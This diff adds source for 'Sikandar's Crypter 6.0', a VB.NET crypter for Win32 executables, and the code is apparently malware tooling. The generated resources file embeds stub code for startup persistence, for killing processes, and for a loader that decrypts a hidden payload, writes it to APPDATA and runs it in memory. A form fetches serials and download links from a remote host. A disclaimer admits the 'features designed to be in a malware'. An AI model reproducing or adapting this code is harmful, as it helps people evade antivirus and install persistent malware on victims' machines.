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
|
||||
Rk+jpzsx8H/Yg1eWWMGXFwAAAABJRU5ErkJggg==
|
||||
</value>
|
||||
</data>
|
||||
<data name="Label1.Text" xml:space="preserve">
|
||||
<value> The author of this crypter has the right to make decisions regarding termination of support because of irresponsibility of the user. This encryption tool was made for the protection of PE files under Win32 to prevent reverse engineers or crackers to decompile your program in an easy way. Features of the crypter that are designed to be in a malware is added not because this program should be used for malware; these features were added to experiment on how Anti Virus Engines can be developed. </value>
|
||||
</data>
|
||||
<data name="Label2.Text" xml:space="preserve">
|
||||
<value> The author is NOT against any Anti Virus Companies and is NOT reponsible with the actions that the user will be doing. By clicking "AGREE", you are excluding the author from any trouble that you will get into, if not, please EXIT the program now.</value>
|
||||
</data>
|
||||
</root>
|
||||
@@ -0,0 +1,81 @@
|
||||
Imports System.Net
|
||||
Imports System.Text
|
||||
Imports System.Reflection
|
||||
|
||||
Public Class Form2
|
||||
|
||||
Private Sub MButton1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MButton1.Click
|
||||
Dim Serial As String = Web.DownloadString("http://sikandarindustries.110mb.com/SerialNumber.txt")
|
||||
If TextBox1.Text = Encryption_Algorithms.TripleDESdecrypt(Serial, "SwH3AKxdgjiVqicQ", True) Then
|
||||
Me.Hide()
|
||||
Form1.Show()
|
||||
Else
|
||||
MessageBox.Show("Incorrect Serial Number. Please Contact Sikandar.", "Incorrect Serial", MessageBoxButtons.OK, MessageBoxIcon.Information)
|
||||
Exit Sub
|
||||
End If
|
||||
End Sub
|
||||
|
||||
Dim _P As New Point, _X, _Y As Integer
|
||||
Private Sub MD1() Handles PictureBox1.MouseDown
|
||||
_X = MousePosition.X - Location.X : _Y = MousePosition.Y - Location.Y
|
||||
End Sub
|
||||
Private Sub MM1(ByVal S, ByVal E) Handles PictureBox1.MouseMove
|
||||
If E.Button = 1048576 Then : _P = MousePosition : _P.X -= _X : _P.Y -= _Y : Location = _P : End If
|
||||
End Sub
|
||||
|
||||
Private Sub MButton2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MButton2.Click
|
||||
Application.Exit()
|
||||
End Sub
|
||||
Dim Web As New System.Net.WebClient
|
||||
Private Sub Form2_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
|
||||
MButton3.Enabled = False
|
||||
Dim P = New Properties(Assembly.LoadFile(Application.ExecutablePath))
|
||||
Dim CrypterVersion As String = Web.DownloadString("http://sikandarindustries.110mb.com/Version.txt")
|
||||
Label5.Text = CrypterVersion
|
||||
Dim AppVersion As String = P.Version.ToString
|
||||
If Not AppVersion = Label5.Text Then
|
||||
MButton3.Enabled = True
|
||||
End If
|
||||
End Sub
|
||||
Structure Properties
|
||||
Dim Title, Description, Company, Product, Copyright, Trademark As String, Version, FileVersion As Version
|
||||
Private H As Assembly
|
||||
Sub New(ByVal assembly As Reflection.Assembly)
|
||||
H = assembly
|
||||
Title = Search(Of AssemblyTitleAttribute)().Title
|
||||
Description = Search(Of AssemblyDescriptionAttribute)().Description
|
||||
Company = Search(Of AssemblyCompanyAttribute)().Company
|
||||
Product = Search(Of AssemblyProductAttribute)().Product
|
||||
Copyright = Search(Of AssemblyCopyrightAttribute)().Copyright
|
||||
Trademark = Search(Of AssemblyTrademarkAttribute)().Trademark
|
||||
Version = New Version(assembly.GetName.Version.ToString)
|
||||
Dim T = Search(Of AssemblyFileVersionAttribute)()
|
||||
FileVersion = New Version(If(T Is Nothing, "0.0.0.0", T.Version))
|
||||
End Sub
|
||||
Private Function Search(Of T)() As T
|
||||
Try
|
||||
Return H.GetCustomAttributes(GetType(T), 0)(0)
|
||||
Catch : End Try
|
||||
End Function
|
||||
Public Overrides Function ToString() As String
|
||||
Dim S As New StringBuilder, B = "<Assembly: Assembly", E = """)>"
|
||||
If Title <> "" Then S.AppendLine(B & "Title(""" & Title & E)
|
||||
If Description <> "" Then S.AppendLine(B & "Description(""" & Description & E)
|
||||
If Company <> "" Then S.AppendLine(B & "Company(""" & Company & E)
|
||||
If Product <> "" Then S.AppendLine(B & "Product(""" & Product & E)
|
||||
If Copyright <> "" Then S.AppendLine(B & "Copyright(""" & Copyright & E)
|
||||
If Trademark <> "" Then S.AppendLine(B & "Trademark(""" & Trademark & E)
|
||||
If Version.ToString <> "0.0.0.0" Then S.AppendLine(B & "Version(""" & Version.ToString & E)
|
||||
If FileVersion.ToString <> "0.0.0.0" Then S.AppendLine(B & "FileVersion(""" & FileVersion.ToString & E)
|
||||
Return S.ToString
|
||||
End Function
|
||||
End Structure
|
||||
|
||||
Private Sub MButton3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MButton3.Click
|
||||
Try
|
||||
Process.Start(Web.DownloadString("http://sikandarindustries.110mb.com/DownloadLink.txt"))
|
||||
Catch ex As Exception
|
||||
|
||||
End Try
|
||||
End Sub
|
||||
End Class
|
||||
Binary file not shown.
|
After Width: | Height: | Size: 34 KiB |
@@ -0,0 +1,38 @@
|
||||
'------------------------------------------------------------------------------
|
||||
' <auto-generated>
|
||||
' This code was generated by a tool.
|
||||
' Runtime Version:4.0.30319.1
|
||||
'
|
||||
' Changes to this file may cause incorrect behavior and will be lost if
|
||||
' the code is regenerated.
|
||||
' </auto-generated>
|
||||
'------------------------------------------------------------------------------
|
||||
|
||||
Option Strict On
|
||||
Option Explicit On
|
||||
|
||||
|
||||
Namespace My
|
||||
|
||||
'NOTE: This file is auto-generated; do not modify it directly. To make changes,
|
||||
' or if you encounter build errors in this file, go to the Project Designer
|
||||
' (go to Project Properties or double-click the My Project node in
|
||||
' Solution Explorer), and make changes on the Application tab.
|
||||
'
|
||||
Partial Friend Class MyApplication
|
||||
|
||||
<Global.System.Diagnostics.DebuggerStepThroughAttribute()> _
|
||||
Public Sub New()
|
||||
MyBase.New(Global.Microsoft.VisualBasic.ApplicationServices.AuthenticationMode.Windows)
|
||||
Me.IsSingleInstance = false
|
||||
Me.EnableVisualStyles = true
|
||||
Me.SaveMySettingsOnExit = true
|
||||
Me.ShutDownStyle = Global.Microsoft.VisualBasic.ApplicationServices.ShutdownMode.AfterMainFormCloses
|
||||
End Sub
|
||||
|
||||
<Global.System.Diagnostics.DebuggerStepThroughAttribute()> _
|
||||
Protected Overrides Sub OnCreateMainForm()
|
||||
Me.MainForm = Global.SCV6._0.Form1
|
||||
End Sub
|
||||
End Class
|
||||
End Namespace
|
||||
@@ -0,0 +1,10 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<MyApplicationData xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
|
||||
<MySubMain>true</MySubMain>
|
||||
<MainForm>Form1</MainForm>
|
||||
<SingleInstance>false</SingleInstance>
|
||||
<ShutdownMode>0</ShutdownMode>
|
||||
<EnableVisualStyles>true</EnableVisualStyles>
|
||||
<AuthenticationMode>0</AuthenticationMode>
|
||||
<SaveMySettingsOnExit>true</SaveMySettingsOnExit>
|
||||
</MyApplicationData>
|
||||
@@ -0,0 +1,35 @@
|
||||
Imports System
|
||||
Imports System.Reflection
|
||||
Imports System.Runtime.InteropServices
|
||||
|
||||
' General Information about an assembly is controlled through the following
|
||||
' set of attributes. Change these attribute values to modify the information
|
||||
' associated with an assembly.
|
||||
|
||||
' Review the values of the assembly attributes
|
||||
|
||||
<Assembly: AssemblyTitle("Sikandar's Crypter Version 6.0")>
|
||||
<Assembly: AssemblyDescription("Sikandar's Crypter Version 6.0")>
|
||||
<Assembly: AssemblyCompany("Sikandar's Lab")>
|
||||
<Assembly: AssemblyProduct("Sikandar's Crypter Version 6.0")>
|
||||
<Assembly: AssemblyCopyright("Copyright © Sikandar's Lab 2011")>
|
||||
<Assembly: AssemblyTrademark("")>
|
||||
|
||||
<Assembly: ComVisible(True)>
|
||||
|
||||
'The following GUID is for the ID of the typelib if this project is exposed to COM
|
||||
<Assembly: Guid("e21ab8a7-22de-4c4e-939b-046c28e42886")>
|
||||
|
||||
' Version information for an assembly consists of the following four values:
|
||||
'
|
||||
' Major Version
|
||||
' Minor Version
|
||||
' Build Number
|
||||
' Revision
|
||||
'
|
||||
' You can specify all the values or you can default the Build and Revision Numbers
|
||||
' by using the '*' as shown below:
|
||||
' <Assembly: AssemblyVersion("1.0.*")>
|
||||
|
||||
<Assembly: AssemblyVersion("6.0.0.0")>
|
||||
<Assembly: AssemblyFileVersion("6.0.0.0")>
|
||||
@@ -0,0 +1,847 @@
|
||||
'------------------------------------------------------------------------------
|
||||
' <auto-generated>
|
||||
' This code was generated by a tool.
|
||||
' Runtime Version:4.0.30319.1
|
||||
'
|
||||
' Changes to this file may cause incorrect behavior and will be lost if
|
||||
' the code is regenerated.
|
||||
' </auto-generated>
|
||||
'------------------------------------------------------------------------------
|
||||
|
||||
Option Strict On
|
||||
Option Explicit On
|
||||
|
||||
Imports System
|
||||
|
||||
Namespace My.Resources
|
||||
|
||||
'This class was auto-generated by the StronglyTypedResourceBuilder
|
||||
'class via a tool like ResGen or Visual Studio.
|
||||
'To add or remove a member, edit your .ResX file then rerun ResGen
|
||||
'with the /str option, or rebuild your VS project.
|
||||
'''<summary>
|
||||
''' A strongly-typed resource class, for looking up localized strings, etc.
|
||||
'''</summary>
|
||||
<Global.System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0"), _
|
||||
Global.System.Diagnostics.DebuggerNonUserCodeAttribute(), _
|
||||
Global.System.Runtime.CompilerServices.CompilerGeneratedAttribute(), _
|
||||
Global.Microsoft.VisualBasic.HideModuleNameAttribute()> _
|
||||
Friend Module Resources
|
||||
|
||||
Private resourceMan As Global.System.Resources.ResourceManager
|
||||
|
||||
Private resourceCulture As Global.System.Globalization.CultureInfo
|
||||
|
||||
'''<summary>
|
||||
''' Returns the cached ResourceManager instance used by this class.
|
||||
'''</summary>
|
||||
<Global.System.ComponentModel.EditorBrowsableAttribute(Global.System.ComponentModel.EditorBrowsableState.Advanced)> _
|
||||
Friend ReadOnly Property ResourceManager() As Global.System.Resources.ResourceManager
|
||||
Get
|
||||
If Object.ReferenceEquals(resourceMan, Nothing) Then
|
||||
Dim temp As Global.System.Resources.ResourceManager = New Global.System.Resources.ResourceManager("SCV6._0.Resources", GetType(Resources).Assembly)
|
||||
resourceMan = temp
|
||||
End If
|
||||
Return resourceMan
|
||||
End Get
|
||||
End Property
|
||||
|
||||
'''<summary>
|
||||
''' Overrides the current thread's CurrentUICulture property for all
|
||||
''' resource lookups using this strongly typed resource class.
|
||||
'''</summary>
|
||||
<Global.System.ComponentModel.EditorBrowsableAttribute(Global.System.ComponentModel.EditorBrowsableState.Advanced)> _
|
||||
Friend Property Culture() As Global.System.Globalization.CultureInfo
|
||||
Get
|
||||
Return resourceCulture
|
||||
End Get
|
||||
Set
|
||||
resourceCulture = value
|
||||
End Set
|
||||
End Property
|
||||
|
||||
'''<summary>
|
||||
''' Looks up a localized string similar to Shared Sub PushStart()
|
||||
''' Dim xx As String = Environment.GetFolderPath(Environment.SpecialFolder.Startup) & "\" & IO.Path.GetFileName(System.Windows.Forms.Application.ExecutablePath)
|
||||
''' While True
|
||||
''' Try
|
||||
''' If Not IO.File.Exists(xx) Then
|
||||
''' IO.File.Copy(System.Windows.Forms.Application.ExecutablePath, xx)
|
||||
''' End If
|
||||
''' Catch
|
||||
''' End Try
|
||||
''' System.Threading.Thread.Sleep(5000)
|
||||
''' End While
|
||||
'''End Sub.
|
||||
'''</summary>
|
||||
Friend ReadOnly Property Add2StartUp() As String
|
||||
Get
|
||||
Return ResourceManager.GetString("Add2StartUp", resourceCulture)
|
||||
End Get
|
||||
End Property
|
||||
|
||||
'''<summary>
|
||||
''' Looks up a localized string similar to Shared Sub F63()
|
||||
''' Killer("dxdiag")
|
||||
''' End Sub.
|
||||
'''</summary>
|
||||
Friend ReadOnly Property Adxdiag() As String
|
||||
Get
|
||||
Return ResourceManager.GetString("Adxdiag", resourceCulture)
|
||||
End Get
|
||||
End Property
|
||||
|
||||
'''<summary>
|
||||
''' Looks up a localized string similar to Dim N As String = System.Text.Encoding.Default.GetString(AD(System.Text.Encoding.Default.GetBytes(ReverseString(R.GetObject("NM")))))
|
||||
''' Dim I As String = Environ("APPDATA") & "\" & N & ".exe"
|
||||
''' If IO.File.Exists(I) Then
|
||||
''' IO.File.Delete(I)
|
||||
''' End If
|
||||
''' Try
|
||||
''' My.Computer.FileSystem.WriteAllBytes(I, AD(System.Text.Encoding.Default.GetBytes(ReverseString(R.GetObject("I")))), False)
|
||||
''' Catch
|
||||
''' End Try
|
||||
''' LoadMethod("IX", "R", CC(ReverseString(R.GetObject("X"))), New Object() {AD(System.Text.Encoding.Default.GetByt [rest of string was truncated]";.
|
||||
'''</summary>
|
||||
Friend ReadOnly Property AESLoader() As String
|
||||
Get
|
||||
Return ResourceManager.GetString("AESLoader", resourceCulture)
|
||||
End Get
|
||||
End Property
|
||||
|
||||
'''<summary>
|
||||
''' Looks up a localized string similar to Shared Function AD(ByVal Y As Byte())
|
||||
''' Using A As New System.Security.Cryptography.RC2CryptoServiceProvider
|
||||
''' A.IV = New Byte() {Convert.ToInt32(1000, 2), Convert.ToInt32(111, 2), _
|
||||
''' Convert.ToInt32(110, 2), Convert.ToInt32(101, 2), _
|
||||
''' Convert.ToInt32(100, 2), Convert.ToInt32(11, 2), _
|
||||
''' Convert.ToInt32(10, 2), Convert.ToInt32(&H1, 2)}
|
||||
''' A.Key = New Byte() {Convert.ToInt32(&H0, 2), Conve [rest of string was truncated]";.
|
||||
'''</summary>
|
||||
Friend ReadOnly Property AESRev() As String
|
||||
Get
|
||||
Return ResourceManager.GetString("AESRev", resourceCulture)
|
||||
End Get
|
||||
End Property
|
||||
|
||||
'''<summary>
|
||||
''' Looks up a localized string similar to Shared Sub F62()
|
||||
''' Killer("notepad")
|
||||
''' End Sub.
|
||||
'''</summary>
|
||||
Friend ReadOnly Property ANotePad() As String
|
||||
Get
